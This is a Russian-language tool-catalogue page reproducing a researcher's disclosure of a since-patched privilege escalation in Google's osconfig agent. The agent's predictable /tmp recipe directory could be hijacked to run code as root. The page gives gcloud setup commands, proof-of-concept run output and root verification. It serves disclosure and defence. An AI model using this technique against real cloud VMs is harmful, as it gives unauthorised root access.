Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
google-osconfig-privesc — PoC-эксплойт уязвимости повышения привилегий, обнаруженной в Google Osconfig | Kitploit
Инструменты/GitHubGitHub/irsl/google-osconfig-privesc
Повышение привилегийАнализ уязвимостейЭксплуатацияПост-эксплуатацияТестирование на ПроникновениеБезопасность облачных средRed Teaming
GitHubirsl/google-osconfig-privesc

google-osconfig-privesc

PoC-эксплойт уязвимости повышения привилегий, обнаруженной в Google Osconfig

Репозиторий
105 лет назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Краткое описание

Процесс google_osconfig_agent является компонентом инструментария GoogleCloudPlatform (https://github.com/GoogleCloudPlatform/osconfig), работающим по умолчанию на каждой ВМ. Агент работает от имени root и отвечает за некоторые управляемые пользователем службы, включая OS config (https://cloud.google.com/compute/docs/os-config-management), что является своего рода реализацией Google управления конфигурацией желаемого состояния на основе опроса.

Этот репозиторий содержит демонстрацию уязвимости повышения привилегий, которую я обнаружил в реализации (и которая с тех пор была исправлена Google).

Проблема

Задачи, которые должны быть выполнены, называются рецептами, и одним из поддерживаемых типов рецептов является выполнение shell-скрипта. При обработке такого рецепта агент — работающий от имени root и обладающий всеми возможностями — временно сохраняет файлы в каталог /tmp, а затем выполняет их. Созданный агентом каталог может быть перехвачен, и, таким образом, выполняемый скрипт может быть подменён, что фактически приводит к локальному повышению привилегий.

Шаги для воспроизведения

  1. Подготовка окружения:
root@kitploit:~
        gcloud services enable osconfig.googleapis.com 
        gcloud compute project-info add-metadata --metadata=enable-osconfig=TRUE    
  1. На ВМ запускаем скрипт эксплойта от пользователя с низкими привилегиями (nobody)
root@kitploit:~
        # cat /tmp/poc.txt
        cat: /tmp/poc.txt: No such file or directory

        # pip3 install inotify_simple
        # chroot --userspec=nobody:nogroup / /home/radimre83/osconfig-privesc-poc3.py
        Running as 65534
        calling inotify.read()
        ...
  1. Настройка политики os-config:
root@kitploit:~
        gcloud beta compute os-config guest-policies create test-policy-poc --file="C:\Projects\gcp-app-engine-experiments\compute-engine\osconfig-policy-poc.yaml"
  1. Вывод poc-скрипта при развёртывании runscript (может занять 10-15 минут):
root@kitploit:~
        Event(wd=1, mask=1073742080, cookie=0, name='recipe-runscript')
        New recipe: recipe-runscript2, rename: /tmp/osconfig_software_recipes.mali1596821311/xxx-recipe-name -> /tmp/osconfig_software_recipes.mali1596821311/recipe-runscript
        New rundir recipe-runscript2, rename: /tmp/osconfig_software_recipes.mali1596821311/recipe-runscript/xxx-rundir -> /tmp/osconfig_software_recipes.mali1596821311/recipe-runscript/run_1596821899000709826
  1. Проверка:
root@kitploit:~
        # cat /tmp/poc.txt
        uid=0(root) gid=0(root) groups=0(root),1000(google-sudoers)

ОС: инстанс f1-micro в GCE с образом Debian 10 по умолчанию.

Исправление

Google перешёл на использование случайного временного каталога вместо предсказуемого.

Устранение

Исправленная версия была выпущена 2020-09-05. Вам необходимо обновить свой пакет ОС.

Сценарий атаки

Это уязвимость локального повышения привилегий, поэтому она может быть использована тем, кто уже имеет права на выполнение кода на затронутых ВМ GCE:

  • любой, у кого есть shell с низкими привилегиями

  • атакующий через уже скомпрометированный сетевой сервис

Ключевой момент — захват «базового каталога» (/tmp/osconfig_software_recipes), что возможно, если в текущей сессии ещё не обработано ни одного рецепта, а именно:

  • рецепты вообще ещё ни разу не выполнялись (например, функция osconfig не использовалась, но будет использоваться позже)

  • ВМ перезагружена, и все рецепты присутствуют в БД (/var/lib/google/osconfig_recipedb), но некоторые обновления политик выполняются в какой-то момент позже

Хотя такое особое сочетание действительно снижает вероятность эксплуатации, я считаю, что использование рабочего каталога в /tmp здесь небезопасно. (Google тоже так считал, эта проблема с тех пор исправлена.)

Хронология

2020-08-07: Проблема обнаружена и передана

2020-08-08: Проблема рассмотрена Google, приоритет изменён на P1

2020-08-10: Проблема подтверждена Google («🎉 Отличная находка!»), приоритет изменён на P2, серьёзность на S2

2020-08-14: Обновление о процессе VRP

2020-09-05: Проблема исправлена Google

Авторство

Imre Rad

Ссылки

https://github.com/GoogleCloudPlatform/osconfig

https://issuetracker.google.com/issues/163147689

https://github.com/GoogleCloudPlatform/osconfig/commit/fa7e4ba5ee85be212ffbac66d96862c792bd270c

https://www.linkedin.com/in/imre-rad-2358749b/

Скачать инструмент